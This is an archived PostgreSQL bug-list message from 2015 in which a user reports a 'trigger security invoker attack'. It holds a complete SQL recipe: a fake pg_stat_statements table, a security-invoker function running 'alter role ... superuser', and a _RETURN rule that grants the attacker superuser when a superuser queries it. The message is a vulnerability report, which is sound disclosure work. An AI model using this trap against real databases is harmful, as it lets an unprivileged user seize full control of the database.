Re: BUG #13651: trigger security invoker attack

From: 德哥 <digoal(at)126(dot)com>
To: "David G(dot) Johnston" <david(dot)g(dot)johnston(at)gmail(dot)com>
Cc: "pgsql-bugs(at)postgresql(dot)org" <pgsql-bugs(at)postgresql(dot)org>
Subject: Re: BUG #13651: trigger security invoker attack
Date: 2015-09-30 01:16:26
Message-ID: 3ed1e8e4.24ae.1501bd26a65.Coremail.digoal@126.com
Views: Raw Message | Whole Thread | Download mbox | Resend email
Thread:
Lists: pgsql-bugs

a normal user get super privilege, use security invoker function.
postgres=> create table pg_stat_statements (
userid oid ,
dbid oid ,
queryid bigint ,
query text ,
calls bigint ,
total_time double precision ,
rows bigint ,
shared_blks_hit bigint ,
shared_blks_read bigint ,
shared_blks_dirtied bigint ,
shared_blks_written bigint ,
local_blks_hit bigint ,
local_blks_read bigint ,
local_blks_dirtied bigint ,
local_blks_written bigint ,
temp_blks_read bigint ,
temp_blks_written bigint ,
blk_read_time double precision ,
blk_write_time double precision );

postgres=> create or replace function f() returns pg_stat_statements as $$
declare
begin
alter role digoal superuser;
end;
$$ language plpgsql security invoker;
CREATE FUNCTION

postgres=> create rule "_RETURN" as on select to pg_stat_statements do instead select * from f();
CREATE RULE

When a super user select the view pg_stat_statements , the normal user digoal will granted the superuser role.

Yes, it's a normal operation ,but somebody can use these trick.

--
公益是一辈子的事,I'm Digoal,Just Do It.

在 2015-09-29 23:48:12,"David G. Johnston" <david(dot)g(dot)johnston(at)gmail(dot)com> 写道:
On Tuesday, September 29, 2015, <digoal(at)126(dot)com> wrote:
The following bug has been logged on the website:

Bug reference: 13651
Logged by: digoal
Email address: digoal(at)126(dot)com
PostgreSQL version: 9.4.4
Operating system: CentOS 6.x x64
Description:

In my database, there have two role, one normal user, one superuser.

postgres=# \dt
List of relations
Schema | Name | Type | Owner
--------+------------------+-------+----------
public | customer_reviews | table | postgres
public | t | table | digoal
public | t1 | table | postgres
public | t2 | table | postgres
public | t3 | table | postgres

Elided truncate trigger dropping t1...

And rule is security.
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> create rule r1 as on delete to t do instead delete from t1;
CREATE RULE
postgres=> delete from t;
ERROR: permission denied for relation t1

I'm surprised this works since t1 shouldn't exist...

postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# \set VERBOSITY verbose
postgres=# delete from t;
ERROR: 42501: permission denied for relation t1
LOCATION: aclcheck_error, aclchk.c:3371

But since t1 does exist and t is owned by digoal the fact that this fails with a permission error is unsurprising. Rules execute as the owner of the relation to which they are attached in order to facilitate data hiding,

David J.

In response to

Responses

Browse pgsql-bugs by date

  From Date Subject
Next Message David G. Johnston 2015-09-30 02:01:12 Re: BUG #13651: trigger security invoker attack
Previous Message Alvaro Herrera 2015-09-29 21:15:53 Re: BUG #13648: Old Records disappearing after upgrade from 9.4.1 to 9.4.4